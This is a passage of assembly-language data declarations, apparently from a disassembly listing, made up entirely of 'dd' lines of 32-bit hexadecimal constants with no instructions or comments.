		dd 7655E8B0h, 0A05ED79Ah, 5276AAFh, 0E2B13481h,	279B675Ch
		dd 0E9ADC088h, 0D25EC4D1h, 6332132Eh, 6500897Fh, 1E92E689h
		dd 3A878BADh, 8B86CE15h, 7A05B111h, 15058145h, 9FE61246h
		dd 83D11365h, 32763B78h, 0E97FA434h, 8672DBAAh,	32A45F58h
		dd 2EA17A6Eh, 1C1994A0h, 0C8941B47h, 39FF6534h,	0BA285A10h
		dd 0B4677B0Fh, 0C558A241h, 89F97835h, 77ABCF13h, 0AEE2E250h
		dd 0DF97B8D5h, 0E24624ACh, 1561F06Bh, 39F9556Ah, 35C92907h
		dd 3976E348h, 2727F326h, 0F673D472h, 822FA270h,	92AA3EFh
		dd 0C82BFDC7h, 98979F67h, 4524BC39h, 97C56A2h, 0EC45590Fh
		dd 0DC3E553Dh, 765DF80h, 0B17E3580h, 939F5ADBh,	53B04EF0h
		dd 0C14E81AEh, 10AB7F96h, 0E09751FBh, 0B1B248F7h, 0B6116608h
		dd 0ED5E297Ah, 1B2A46E3h, 3BB38661h, 40F77FA3h,	3836BA8h
		dd 0C810697h, 85CA65EBh, 0F37925C7h, 99D580F7h,	23882ED0h
		dd 0AAFFD337h, 0FEDDAE66h, 7F507A5Fh, 5B0428ACh, 0D64AC801h
		dd 0FE2BC131h, 0C95BC8E1h, 31029803h, 100C23C4h, 63320508h
		dd 3D900236h, 6F7E0D2Ch, 0F6AE6913h, 0C8A6F85Ch, 0AFC72BD7h
		dd 0B0E63D9Ch, 0A2F34E11h, 0D54EBCE2h, 7FA70E0Dh, 0A1F7945Ch
		dd 0B1E8D826h, 8B87486Ch, 769761C5h, 2718872Dh,	0DF2F1499h
		dd 8CE59D21h, 6726FE72h, 0A11309EAh, 2B206424h,	3373F27Bh
		dd 9A1021B3h, 4886C6C8h, 0AE4A1F1h, 0A7BE49F6h,	0A1FEDB29h
		dd 0F1F7E173h, 0BB0DDEDFh, 0B56B6037h, 97A5A8CCh, 1B6A5D88h
		dd 499C8F16h, 38060E8Ch, 0F108D211h, 65C49EC0h,	5B27EE1h
		dd 0CBCA26E5h, 0E2A1E5EAh, 0D4723952h, 5915F791h, 881B175Bh
		dd 52C250B4h, 154D5239h, 50FEA274h, 0C07F384Dh,	44C1526Dh
		dd 31A68060h, 0ED4D1D6Dh, 870C8047h, 233B2382h,	0FA14E8D9h
		dd 3F205ADAh, 0F4015BBAh, 0E8A163C7h, 0C62C176Dh, 0F1984C26h
		dd 367C3BDh, 0A2069BD2h, 0DA94F7AFh, 77EC09AFh,	49772787h
		dd 54729C95h, 0DE56C78Bh, 0AEC7E412h, 4F78D975h, 4DEB0A8Dh
		dd 9BB1A9EEh, 0CFEA8106h, 0BD599BD7h, 0B26E024Ch, 1F831A2Bh
		dd 10438E69h, 0C2C8489Ah, 0C8BBC729h, 51BBB1AEh, 33D571D3h
		dd 0E986F6B9h, 8FDA53A1h, 0D76DC9AAh, 6AFF6D72h, 246B5A3Dh
		dd 0ACB1EBA4h, 3BD15FD1h, 7077D651h, 0E207B1C6h, 0E749E6CDh
		dd 0E4EC8548h, 0C50B6F78h, 403FCAE8h, 0A0B9BDB4h, 0BDB1FC3Eh
		dd 8A9D9DCAh, 1A24440Eh, 0FB4720DEh, 0A9861EDEh, 0CDC2F2B2h
		dd 0DEFA7C18h, 0C5190DBBh, 66FB7E35h, 0A67EA4EFh, 25D20A35h
		dd 1A3926Dh, 171F75D7h,	21BE7123h, 4DFC7DC4h, 0F22FADCh
		dd 0C30BE2F0h, 4FCA2531h, 0B0419D1Ch, 90B5BD71h, 748CC95Dh
		dd 91F90499h, 1209E4F7h, 3285A7C9h, 8C0B2AB9h, 395F1A9Ch
		dd 17F3C72Dh, 7F8F58B0h, 0B8144BA5h, 835B7A2Dh,	0B7A82DACh
		dd 0C56AAC4Bh, 0D53E39BAh, 0C81788C3h, 9AC184F1h, 0C221BC58h
		dd 0C19D2213h, 62D6D89Ch, 926AAF58h, 0E95F61EEh, 0A457F575h
		dd 0E23D1AAFh, 4072144Ch, 0AA5F41EFh, 8EFCA4Ah,	2A71052Bh
		dd 0F15C7A48h, 0FDB29D32h, 18A52B13h, 0C8796DDAh, 1649BF93h
		dd 31876AA8h, 3D5DEAEEh, 0C30AA78Ch, 5915C585h,	0E1A72DC0h
		dd 563B0D91h, 0CFC2CABDh, 53DD7F8Ch, 0B72E10C8h, 0D83725E0h
		dd 3F5B9AF8h, 8F6E77DBh, 0C1E7C65Eh, 0E2550220h, 4F078C85h
		dd 33420C2Bh, 861E8ED5h, 439E774Bh, 0CC7CB1D8h,	2E6B1969h
		dd 57696760h, 654BA5F9h, 729ECEE4h, 0C45210CCh,	0E12BBEB9h
		dd 0C5C6A0E7h, 1E2E2CF2h, 25837DB5h, 0F375F8DFh, 0D511FF99h
		dd 9E1D428Fh, 78F93ED8h, 659303C8h, 0AD8AB7D6h,	3D7CC58Bh
		dd 1AA59BE2h, 1F474C43h, 0C8C018Bh, 850CC4F9h, 9A8C602Ch
		dd 0E29E8B7Ch, 0AE572D59h, 6A18220h, 0D7E47D7Bh, 5E66B2Fh
		dd 6600D387h, 0CAE45F00h, 3EA8FB4Ch, 0DEA8C7D2h, 8841EFCDh
		dd 61CEE8D1h, 31F9AC20h, 20A13FE9h, 420DB4F5h, 0CA9D7A49h
		dd 8B7F1FB5h, 5ABC808Ah, 0A97E86B7h, 0F11138Eh,	58D85D1h
		dd 0E011BE4Dh, 796B798Dh, 0FF6348C1h, 8CF560CAh, 5BA94F57h
		dd 4B330BC2h, 4DA09F8Eh, 2EB0525h, 0EC3C7A95h, 0D11C0A5Fh
		dd 0D68EFFF3h, 205E0F04h, 0C61BFBBFh, 0BE75CC39h, 90688B61h
		dd 381AA889h, 62B6AEE9h, 0CC32F2BCh, 2EEDBCEAh,	0B0A791B3h
		dd 76536F96h, 65F4F264h, 5B8B4DA3h, 1B6530F6h, 86CC2CBDh
		dd 8DCED375h, 949C7A18h, 0E86B2FC1h, 9A4BC7Fh, 25BC1F87h
		dd 52069655h, 0D66CF6D6h, 0F3DB1075h, 1F4CEAE3h, 3E9E0011h
		dd 7D6036ABh, 0C544EDE6h, 919CBE4Ah, 0F1FDA369h, 5B8D10ECh
		dd 61741365h, 8D7D03D4h, 75C097E6h, 0B10A310Fh,	0DF1BB6E3h
		dd 6F1CC707h, 0E54844CAh, 0B274995Dh, 6DA1B690h, 6470F7D6h
		dd 1C9119FCh, 0F35B46A1h, 36F14FE7h, 9844E5F9h,	3F561F92h
		dd 0BAAE4EB8h, 0D298F634h, 0A0CE5FA2h, 0F33AB19Ch, 98D510F0h
		dd 4CDBCFCBh, 0EE8B5DADh, 0D93CD6DFh, 9E60DC9Ah, 8074E836h
		dd 0F8B7577Ch, 70361C8Dh, 0DEFE7CEBh, 0CB0B41AEh, 3BA4A5A2h
		dd 67B16ECDh, 0D0F01D50h, 0DC1A3C34h, 173BB348h, 75C3A486h
		dd 8FF66B78h, 397B6DFAh, 6E5B0155h, 876BDE8Bh, 136FBD25h
		dd 1A3AC614h, 47384094h, 686A2ADBh, 1CB70576h, 0DBC05ACEh
		dd 0F14D9AFEh, 173DBADEh, 0E309D1D7h, 0EF27BD0h, 71FF5374h
		dd 452E7AD2h, 48AC3C8Fh, 2A966F55h, 6C93FCBCh, 9BF9BF33h
		dd 505E1F54h, 5211FD9Ch, 9B5ADDF7h, 99B4F660h, 0B12B6D0Dh
		dd 19BD5693h, 4019F3D4h, 863F7E44h, 0A3B75083h,	43947EABh
		dd 3DF5A996h, 7A390046h, 8752B4CFh, 38C04328h, 48CCE9EAh
		dd 0BACD2D81h, 0B12C5056h, 6B5AE6B8h, 8DF1034Ch, 2F2120ABh
		dd 1DEBC7D1h, 6F83C1C5h, 0BE4F945h, 0A6C3CB6Bh,	0EEBE4EB5h
		dd 0A40AE2B8h, 27AB8D60h, 5F6C07D8h, 0F489AB70h, 0E8365370h
		dd 6AAD0CF9h, 49A6E6C9h, 3991C812h, 661B68A5h, 1A0D031Fh
		dd 97D6DB17h, 0A16B98D2h, 4330E59Eh, 0F724CD49h, 799A9543h
		dd 970AD7h, 0D9B2DDCh, 8EB0CEC3h, 97894EC6h, 3D4DD00Eh
		dd 0BEADFCB6h, 13C48D57h, 13183A89h, 0F65C93D8h, 98FC0AA7h
		dd 48FA9B91h, 0CCFC78DBh, 98BA7DE1h, 5DAC8AA7h,	3530F72Fh
		dd 36F4E41Ah, 151AD06Eh, 0C6CB5D42h, 0DB74B437h, 862003Ch
		dd 26C3E339h, 3307BF06h, 24762602h, 0AC23AAC7h,	0F11622D4h
		dd 0FF585558h, 56CE628Dh, 6EDFF661h, 560714E5h,	3ED369F8h
		dd 0C2C95338h, 40CA1335h, 0BD581E23h, 0BF7B879Fh, 0F9D4EC84h
		dd 0EEDFF8BFh, 0F05104C0h, 450D775Ah, 4D235F4h,	0FB87EE29h
		dd 8353271Fh, 0CA9F0086h, 0D67BEB5Bh, 567674A2h, 0D80F4171h
		dd 0C5B35147h, 2AA0C5B7h, 0D11EB840h, 6142CC6Fh, 634BF89Fh
		dd 5C1179B7h, 7E7F9A82h, 732174FFh, 483D85C6h, 0EC9235B3h
		dd 2B1ECAB1h, 66C7405Eh, 0AD5EC5EDh, 783712A5h,	898C43B0h
		dd 0E5BCE375h, 752191FCh, 4FCCB881h, 0B8E334FFh, 4C2A54AAh
		dd 1D33139Fh, 869C91C3h, 0E770E02Ch, 0AA5A574Bh, 168C467Bh
		dd 0E23D46ECh, 77B2CA02h, 59DE93C0h, 0E3BB84F6h, 814EB3F8h
		dd 0B2DC35CBh, 6D3B94AEh, 4203C825h, 83077DBDh,	7E8E772Dh
		dd 0A462C1C2h, 0BDD08A3Fh, 7600D0F8h, 9F264A6Bh, 0B8F00956h
		dd 6AF33B72h, 0B698DCE9h, 74EAD02Eh, 1D9C9D22h,	27523336h
		dd 0B491FC52h, 21D676E7h, 5EE41937h, 9E50A082h,	41C15D3Ch
		dd 0F61A79D2h, 0C9C80986h, 2BC0E3BBh, 254DBF1Eh, 0BF0B15B7h
		dd 6BBAD487h, 51F98552h
		dd 7B602878h, 386227EEh, 0ACBE966Ch, 0DF0D3FA2h, 6E60E21Dh
		dd 0E50737D0h, 43D287F8h, 0BCF886E8h, 4D8B0D98h, 744B718Dh
		dd 636C0FF1h, 15E2AF53h, 47809B3Fh, 51013ABDh, 4AD286B6h
		dd 8E733698h, 47E66E1Dh, 0B1FB4503h, 38292745h,	5B32D7D2h
		dd 41B2E27Fh, 4C7E5CB8h, 0C5670586h, 16BE1D16h,	0DFABF153h
		dd 0A6B76273h, 11DAA5DFh, 0DEFDC813h, 5684EF5Ah, 766D9EA8h
		dd 0DD8DDA34h, 5B6BBDF3h, 24C72D55h, 0CD949544h, 2FD05D4Dh
		dd 1920FD35h, 81E114A4h, 0EB56C0C6h, 0CEA67573h, 0E5253672h
		dd 0C56BD541h, 5888D399h, 0F21CE875h, 4893A211h, 0E9818967h
		dd 0B03F4B7Fh, 7B6369E3h, 580EC5BBh, 0F77F97B9h, 7F24B2D0h
		dd 0C33B7093h, 14895632h, 446DE2F6h, 0D64BA60Ch, 72D73A5Bh
		dd 0BB515EA0h, 0D5B5025Ah, 0F0D0ECA7h, 7847C022h, 8D103D11h
		dd 0A7527C17h, 0DF706E62h, 82917C8Ah, 0EB549972h, 0ADFD17BBh
		dd 0B40D9776h, 0DFBCE86Eh, 0F41760CFh, 2F7315A2h, 3D7F0066h
		dd 0F0BC8AE1h, 7503D676h, 3305AAA7h, 42304E06h,	67C108B7h
		dd 6B68B7A1h, 15854EBAh, 0C20D9399h, 0D8A82BDAh, 0BF56B8F5h
		dd 4FF51CFAh, 77A39C21h, 38170C27h, 9E171B1Ah, 8A8F3D0Eh
		dd 5BCE3C72h, 6B46ED3h,	6829721Bh, 0D8B3A0DFh, 1E8A43CAh
		dd 659D6C6Eh, 0DF6F39C9h, 0BCDFB839h, 3BE5F6D0h, 48B942DBh
		dd 0CB9D4DD7h, 0FBF778F2h, 0C16B7CB5h, 0D52BF339h, 5A4ABC5Ch
		dd 0DDB92FDh, 0C64BBB83h, 98464B0Eh, 0D468ECBDh, 0D1692AD6h
		dd 1BF33E87h, 0B0F9FA18h, 20026EF9h, 9C4620A1h,	0AFA28142h
		dd 0E52E1E0h, 0F79054C9h, 320C9D93h, 8F39EE1Bh,	6ED4F418h
		dd 0D7D2150Eh, 0A4559D92h, 79508B8Dh, 3E1BC2BDh, 0ED6F6B40h
		dd 24BA0421h, 0ABAE1D2Eh, 35A3CD71h, 5D620F43h,	0C9460ECBh
		dd 0F1B68AFEh, 0B360F4ADh, 9AAADE79h, 5F526229h, 8885E0AEh
		dd 3A008A9Fh, 0AB3A5893h, 118DCDAFh, 0D00E385Eh, 774723D2h
		dd 2BC692DFh, 489C14E9h, 0E2B6511Ch, 5D8776B9h,	0BC1D1D37h
		dd 5E46F7EDh, 0B826590h, 85A94EE5h, 3FDE7B8Dh, 6DDDE83h
		dd 0C300013h, 686FB2D5h, 1BF73ADAh, 3EE39327h, 0F9B873B1h
		dd 70AA7DDFh, 0CE79E99Bh, 0A9E0BE62h, 4D6BC7A6h, 0B0B44F33h
		dd 70CBCC96h, 45335A35h, 6BF5468h, 0CBC7D1Fh, 7A21CC4h
		dd 278749E2h, 41844D8h,	49D2F651h, 23D94448h, 0B9A4F4AFh
		dd 15771F72h, 206F1503h, 7D918561h, 4713594Fh, 77633260h
		dd 2A39DAA0h, 0ED50033Bh, 0CC510EB3h, 281CA8D2h, 5D9F521Fh
		dd 7360D91h, 2919B5D2h,	9E55A9BFh, 0FE7F841h, 2DF205Ah
		dd 727CECE5h, 0ECAF712Dh, 81D7FE9Fh, 0C97C6EBCh, 2B18D759h
		dd 0E0890F57h, 0B0B9BEC2h, 0E179C07Ah, 5A73C7B2h, 94D53513h
		dd 1B310B79h, 0DF0B445Ch, 0F34E48D7h, 0CD8C78ADh, 7D1A6628h
		dd 0BE32CBF2h, 9B184602h, 281853Eh, 0EAD89E3h, 0E6B1CD54h
		dd 0DA037792h, 36AC6D57h, 0E552E52Eh, 0D024124h, 0B1AC149Eh
		dd 30548F7h, 4924ABF8h,	5631EB70h, 913B123h, 664BC13Ah
		dd 6170288Bh, 0FC8BAC80h, 0C6BB7B1Dh, 1E47D886h, 2AE1E888h
		dd 0B5AEEDD6h, 6BA66EC7h, 0F8DF7AE3h, 9DD74276h, 0EF899904h
		dd 0A599A2DFh, 94C60749h, 24AB340Ah, 0ABC7F2B5h, 14F61A1Ch
		dd 0ED23EFE7h, 0DCB44E7Dh, 407D227Bh, 0D4A90D25h, 0E051AAA4h
		dd 0F91FEEE7h, 0C1332092h, 0C60FCA35h, 0E48B1FB8h, 0EF060D35h
		dd 0AE2E4569h, 0E2E3058h, 0CBEA6C8Ah, 6D9E9CA0h, 9AEE3B16h
		dd 411D171Fh, 8CE490Ah,	4C3EA956h, 65C94C02h, 4682AB18h
		dd 0D0512922h, 5D98F1B4h, 657B56A2h, 30B7AA18h,	3A4DCCA9h
		dd 31F741CAh, 445852C2h, 99E9EF2Ah, 0E85AA90Dh,	0E356C92Bh
		dd 9EE55946h, 6FDC4128h, 8289D7FDh, 882016F1h, 0FB54BB70h
		dd 3AB1881Dh, 2FB51E3Fh, 0C0C88789h, 0E42B1B80h, 0BAB5C2A9h
		dd 6BDE85D1h, 0E3B59ECCh, 0F521A5BAh, 0E0D0AA37h, 0F2B8FF6Ch
		dd 37D59080h, 0D8BA4237h, 0A987E7EEh, 71DBE4EEh, 0A3571F09h
		dd 877E1533h, 0D7E18692h, 4C837218h, 0E98E453Fh, 8F758504h
		dd 3E4800A3h, 1A0176E4h, 0D736E98Dh, 0AEB60B85h, 3F15869Ch
		dd 3442D8CEh, 688DA3D6h, 5DB64625h, 0E213F017h,	86544ADAh
		dd 0A145662Ah, 652BB7C7h, 1FEEE26h, 0D2E52987h,	0D922D37Ch
		dd 1EEBFFD0h, 0AE7CBC67h, 0DB86B9B3h, 9E3AFC53h, 0FF8E1773h
		dd 62E6C28Ah, 0F6F0AD96h, 127B59C5h, 0C6801553h, 484E637Eh
		dd 0D60223A0h, 0F58B58B0h, 0EF08543Bh, 7DD1A324h, 0B0A86E64h
		dd 0C944B28Dh, 0E0457420h, 8017F155h, 0C601E258h, 0EDE60E86h
		dd 31D33496h, 0CF06103Dh, 90659AD9h, 2D080A82h,	148D2FF9h
		dd 46B5765Eh, 0B604810Eh, 0D19805B7h, 57940362h, 3E380C2Dh
		dd 11018505h, 0FD6EAF28h, 75B69593h, 6CB0A8CCh,	577AF604h
		dd 372F785Eh, 370339E1h, 4FE7D66Bh, 3EF06660h, 0F196B36Dh
		dd 680B827h, 0F6311C5h,	63F53B79h, 72849947h, 8A96F2F1h
		dd 0B538FFAAh, 0A0E1338Fh, 9C018CE9h, 0C57187F1h, 0DBC87CF0h
		dd 0F199E121h, 55352B6Ch, 9B6BD4CDh, 0FFC69102h, 0CAD0572Ch
		dd 0AC731941h, 44F181C9h, 267A70A2h, 7968A32Bh,	6CDBEA91h
		dd 1B946624h, 0D2162DF1h, 621ED556h, 130BD2EEh,	0BB1728Ch
		dd 7921BEDEh, 682357ACh, 0B87195EBh, 949942B6h,	49297C9h
		dd 2D8DFE71h, 0CEC1D95Eh, 0EBAFC8A7h, 8D7E9714h, 0DFFBEF0Ah
		dd 3699C729h, 0DD2B28E8h, 19F7F538h, 1B90FD14h,	0FF29EEADh
		dd 0DAA77A2Fh, 0AE356699h, 9FE68458h, 4BFFC730h, 0F03B81A3h
		dd 3B59CFF4h, 2E3582E6h, 0F916E8B5h, 40CF706Fh,	66251E0Dh
		dd 8EBDEA89h, 5136F331h, 3E3F3E9Ch, 29C4FA23h, 26929A4Ch
		dd 2FC7E4EDh, 506C9A3Bh, 0F5BAEDF5h, 7CC188C4h,	0FA2F4058h
		dd 834AE946h, 23CCA085h, 0C1F94181h, 1F73345Eh,	68321274h
		dd 0C23E4D1Bh, 3360D791h, 16D22B8h, 8FAF14B3h, 370CF30Fh
		dd 0E8A5D82Fh, 0C5257153h, 0E054D8BAh, 0B8B3A78Dh, 0D7070F75h
		dd 55F2AC1Ch, 0AD4FABACh, 5FD711DEh, 10C57FCEh,	0D480E23Ah
		dd 44B8962Fh, 8FEA9E5Dh, 38343795h, 636038C3h, 0CC8CEA78h
		dd 0ECA045C4h, 0FBBDBCDFh, 5001EF64h, 0C7B9C81Ah, 5C43F2BFh
		dd 37142F91h, 2264C6B2h, 0B9E75EB3h, 0BB461801h, 961547DCh
		dd 9F437365h, 0F5C25688h, 35B4CF0Fh, 0C13F1DCEh, 4A60C0C3h
		dd 2B145F77h, 0EF75F137h, 5E83DED4h, 0D4C4BF42h, 6397FA55h
		dd 0E00AAA34h, 60CDE1CCh, 7098EA27h, 28D81BD6h,	0DA131A1Dh
		dd 0CE68B3B6h, 0EFAC6B36h, 6B96F4B3h, 7BCC0341h, 736152F6h
		dd 34B748CFh, 8F8971ECh, 991CE9AFh, 48E0093Ch, 0C8CD3D2h
		dd 58CA4CBh, 78B17CD9h,	43E17C5Ah, 57D69EFCh, 0CC5E3BAEh
		dd 66F51A7h, 69DDB1Ch, 0B4D98292h, 421B399Ah, 94FA7656h
		dd 340F7613h, 0F049C22Bh, 466E6753h, 5AEEC97Ah,	1D3DB0BFh
		dd 8485FB73h, 0D6158930h, 71BE448Eh, 0CFF0CB76h, 0EE86110Ah
		dd 75B265C4h, 0BD750109h, 21AFF44Eh, 5D79092Fh,	9F0A58D9h
		dd 0C490F770h, 7365D730h, 22C545E0h, 0FA3726ADh, 0F99CEFCAh
		dd 6EE5D5C9h, 15F891EBh, 87C07BDFh, 0CA771B5Eh,	871DF220h
		dd 4DBBB61Ch, 0E9EE8CE5h, 8A82EA92h, 96F8B22Eh,	8612CC29h
		dd 8A54F3F4h, 7EDDD1A5h, 48A5DA98h, 17955D75h, 0B2CC1779h
		dd 2B771459h, 0F1FB4270h, 2BD808C9h, 63E9F32Ah,	0E9BD22E7h
		dd 956B567Eh, 51F40BA6h, 0A6FFC94Dh, 272CDFFBh,	0A7070F27h
		dd 6B5D7555h, 0B01FD6AFh
		dd 18219278h, 48CCB44Dh, 0D9807762h, 702C9A42h,	0F4489047h
		dd 46F73EFEh, 0D564777Ah, 934DAA95h, 24465F20h,	0E5AB6499h
		dd 0CFE0CFB2h, 539B289Dh, 0C23D0B3Fh, 82F7ECF5h, 1C4101A7h
		dd 0BE04910Ah, 34DF43F5h, 5BEC67B4h, 869D8C37h,	98B24436h
		dd 4C30F8D3h, 0F2695F6Dh, 2FFE78F6h, 0F7C54AD9h, 54A2D3B6h
		dd 1CA790Ah, 22B40D73h,	0B52A1DA5h, 0A87D4F51h,	0F5B308D5h
		dd 0E4DD951Eh, 4B2C5934h, 20D0E664h, 35B090C2h,	0EFF2D81Ah
		dd 0EC5F86A9h, 52341090h, 0EEEC80A1h, 1BD93A89h, 0DD0AEE9Ch
		dd 5809249h, 94DE37EBh,	0B5BB5A62h, 0C9B3F054h,	9CEC354h
		dd 8BE17BE0h, 6D461CF0h, 3CDE4F36h, 0FF9D9FCh, 0DE0D86D1h
		dd 123AF978h, 69E3AD4Eh, 8B51786Eh, 831C2CD4h, 16C889FDh
		dd 0A617D6FBh, 88D1FCA6h, 4BEFCBEBh, 0DAA572Ch,	0A6448321h
		dd 2060979Eh, 5350670h,	0DA7BF486h, 5AD0BD1h, 0C593F1BCh
		dd 0CAF64FC7h, 5CB6FFD9h, 0AA15F4F1h, 0B8F89AAFh, 12D3CE17h
		dd 6CC814C7h, 0D60297DEh, 0A72F387Ch, 0B93B3833h, 4746C064h
		dd 53654914h, 613E5296h, 7F16B735h, 2042340Dh, 0E54EAD14h
		dd 0DD552CB9h, 0AD38A6C3h, 1B90698Ch, 14DDD4C0h, 0B80F9E48h
		dd 64DAFC9Ah, 285DB32Bh, 0FB59A27h, 0D1F0440Ch,	54A32307h
		dd 4EBCB2A2h, 0F0EA91CBh, 0C7A5ADAEh, 5B46D785h, 97D9E0BEh
		dd 0C866BD0Ch, 346F4A39h, 0D51082AAh, 44EBA565h, 0F3533F02h
		dd 0FBE8390Fh, 0A1FD7535h, 0CAACE79Bh, 9661567Ah, 47789F09h
		dd 0E5B12DD2h, 0F63A5109h, 0A25958A4h, 0C4F9F4A7h, 40C7D529h
		dd 0D46E3445h, 0A4DF2665h, 0C23EEE2h, 0AE264531h, 5B428407h
		dd 7424B3D4h, 0E7994AE2h, 784A237Dh, 0D1619C26h, 0DAA591DEh
		dd 9FCABA25h, 0AD21F1D9h, 737F0A59h, 292327F6h,	0A9147D5Ah
		dd 0C9E00490h, 847BF792h, 63042EC2h, 0F6D26884h, 13F42913h
		dd 9B6B614Eh, 8B958D62h, 0E4B89CF3h, 48305BAh, 0B1C97D71h
		dd 4C16F2CBh, 185E5BE5h, 0B279B1DAh, 9D174346h,	716A202h
		dd 433F93CEh, 476287A5h, 291409A7h, 1CF40267h, 61B1F5BFh
		dd 854909C6h, 34776342h, 5B22F8F6h, 2233834h, 1647BAF9h
		dd 454D1168h, 7ABAE3DFh, 0E2620E31h, 0B2879998h, 0FC2437E6h
		dd 0A914648Ch, 0CE2771ADh, 0F2570CEDh, 117DAD02h, 25CBF2B9h
		dd 6B312461h, 0D302912Dh, 0DD549FEFh, 65378195h, 31C5C62Dh
		dd 0F2C79FF8h, 5DFF02BBh, 0A8ED01B8h, 48BC509Fh, 7A499162h
		dd 72E92A76h, 0A8DC018Eh, 0C25D4h, 0A0D286Fh, 0BD205E12h
		dd 4CD15240h, 62BACFB4h, 7CDB3F3Ch, 7974D079h, 84CC9F0Dh
		dd 80205D63h, 0B4A67420h, 23033B37h, 0D108C91Bh, 53ECA813h
		dd 0D982A8B2h, 3763F5A5h, 965E210Bh, 7E544ABCh,	1280F15h
		dd 0DA6244F9h, 572960FEh, 31E29AC6h, 79DB400Ch,	783F1BC2h
		dd 0F2E0770Ch, 0E7AF085Ch, 0E4A3A5BDh, 803B1DBAh, 905ABE68h
		dd 19D7632Eh, 54ACD79Bh, 35750920h, 0C6470BDAh,	0B356E5BEh
		dd 597DED28h, 3752C6E1h, 24736E52h, 0F641D81Fh,	0B998E888h
		dd 0F44F13E0h, 7B0231D9h, 309F5DFAh, 0DB7612C7h, 58ECF53h
		dd 0A9413DE2h, 0CF776E6Eh, 0AA5E95C3h, 1577152Fh, 0FF5796D8h
		dd 217CE916h, 930C8BDCh, 7A3D32B9h, 0E4EE1446h,	0B255907Bh
		dd 0AB7607D1h, 3020B164h, 0DF3E7546h, 0E6A780D0h, 4261E567h
		dd 0A6BF2A48h, 0F306A9B9h, 0A5353410h, 690796D9h, 54179D67h
		dd 0DB871FB4h, 7292C87Bh, 1EF38224h, 5461F30h, 0AEBEBFABh
		dd 13378CDh, 5BD9AE1Bh,	0D7310376h, 0B4638561h,	3E7B942Ch
		dd 3D37526Ch, 9340A0A6h, 0A5F1F5C2h, 90701728h,	5522A6E3h
		dd 43507C5Ch, 0D2E26CD2h, 0A959E970h, 0C9A445C5h, 0C8215749h
		dd 3CD68D78h, 2DC1C077h, 2A0D6D35h, 86B1C6B0h, 0FE831558h
		dd 8F45BCCFh, 0C11D4C5Ch, 2B5A81FEh, 0FDDA21BFh, 78BE54E9h
		dd 27B7780Eh, 3A413004h, 95A3B264h, 9C0A92D4h, 894FEF24h
		dd 9BF2919Eh, 0B25BEA5Ch, 734222DAh, 7FB9238h, 9F386F6Fh
		dd 8C1952A2h, 6DE605FCh, 5CA54DD3h, 9ED2C0CFh, 0F8D41E6Ch
		dd 196FDF64h, 0D9EDA282h, 2E48EFAh, 797BC811h, 0DF5A0BA0h
		dd 0F7EFB1A9h, 0FCDDBA55h, 92774C11h, 8789A9E9h, 40BD61CAh
		dd 7E8750EAh, 6641808Fh, 120A1F2Bh, 661D298Fh, 0AE6E9A87h
		dd 563C462Eh, 73E63B9Bh, 187B46E2h, 2442EE54h, 0AE421629h
		dd 0A47FEAE5h, 0F31D01F2h, 0B7D26859h, 32DA8094h, 739C5354h
		dd 627D78FBh, 68F3AADEh, 0A6CC24BDh, 0CD413687h, 56FCDA11h
		dd 0A1AE4823h, 23072E72h, 3D605F60h, 16DB3884h,	0DF8C491Eh
		dd 78D51123h, 59BC9F37h, 3D011540h, 0BD9C4CF2h,	0DCE464D5h
		dd 803F329Bh, 0CC8D3F7Fh, 0B8FB01B1h, 0FC7984FCh, 9B4C32BAh
		dd 58D83549h, 5796E75Ch, 0DFA2AD2Ah, 8F47063Dh,	682317BBh
		dd 0C881AE3Bh, 28E4BE91h, 860B1ED4h, 7678D70Ah,	9CAAE7EAh
		dd 0E1EF783Eh, 0C8570DBh, 31F24BACh, 89DBD0FBh,	0B1AF09Eh
		dd 0C809B907h, 0F81D8630h, 708B8755h, 0E535C3BBh, 0C74A1485h
		dd 0A32F59C6h, 83D498F7h, 0CD8DD0Ch, 0A05FEF01h, 0EE2D1F4Ch
		dd 4BFB33C3h, 66D9BA46h, 0C7F8B532h, 1EF61630h,	0DE73EFA5h
		dd 9E30AAD1h, 0E457A9D8h, 8E3EEA0Eh, 0BB90EDC4h, 0B7516A8Ah
		dd 0A64B6C21h, 4A6F44D0h, 0FA0BDDF9h, 0BF2E8864h, 0EAA20A2Eh
		dd 4F910A10h, 3FB56CC6h, 0E8C4897Bh, 0EA537F47h, 75818240h
		dd 0C5FFC6Fh, 9FD10DDFh, 9E295444h, 8CD3DF7Bh, 500E9197h
		dd 0A8402366h, 0AE5E3EECh, 0E4B794Ah, 0BE57DE3Ah, 80DCCA8Eh
		dd 1526C97Fh, 0A84ACEF5h, 0FDD5A331h, 0CDB362E1h, 2AEEA703h
		dd 91721A75h, 0E6BD48A6h, 208EE197h, 0A0CDE134h, 0D581C9AEh
		dd 70823F82h, 7E58822Dh, 0F4C134A1h, 0B28366CFh, 453636B9h
		dd 94EA5FEAh, 10D697D3h, 0C6CEB1D3h, 5C7836FEh,	8A852763h
		dd 33FD71C8h, 98AEC7F1h, 0C3F8E1F2h, 0A5735196h, 0C6A323ECh
		dd 1D0A6AA4h, 6E8ED3B8h, 12D81EA8h, 0CB4B1F1h, 293EA0F2h
		dd 38C222D7h, 0E02EFE7Dh, 0B19EA6DDh, 1B3E0F78h, 5F0D1F55h
		dd 1692C17Ah, 0DC10A388h, 7F5C96E4h, 0BDB3EC95h, 31520D2Dh
		dd 6219DC61h, 0AA596EFh, 9E5862BAh, 335540A3h, 24EAA6B1h
		dd 0B652A9D9h, 16B35A0h, 5EC3B886h, 277B2E53h, 0CCE1580Eh
		dd 0A8CD81h, 5C26AD9Ch,	0A3BFD07Eh, 66FA9487h, 0AB0B2C15h
		dd 0C56BA232h, 0FB9C0DBCh, 6265D902h, 31602572h, 3832C417h
		dd 13DE668Ch, 393BA9D2h, 0FB391B9Ah, 2CAB3DC2h,	0DD9AEE70h
		dd 5DE16493h, 7481EF90h, 0A3BF188Bh, 0A1B0E7CEh, 6A30E9F4h
		dd 0CC8BEEBDh, 0AACDF94h, 6BDBB6C6h, 0A9DD9447h, 0CCE831E3h
		dd 2D04A258h, 3300BF0Eh, 7CBD331Fh, 8625A708h, 74351DEFh
		dd 1EECBECEh, 5FD819A0h, 0BFCB81Ch, 0BCC601D0h,	2E259C20h
		dd 7C678D15h, 0CC18B309h, 0A4D51BC0h, 0C29EB14Ah, 57418D95h
		dd 0CB87E348h, 0DE52498Eh, 1B74D345h, 0AF0C8F54h, 0DEFF1F82h
		dd 65946B22h, 0FE527369h, 1EC8FFEh, 6C373A63h, 2F3C91E8h
		dd 6E182F50h, 6FD41842h, 836849C4h, 9F13D9Bh, 7EA31C11h
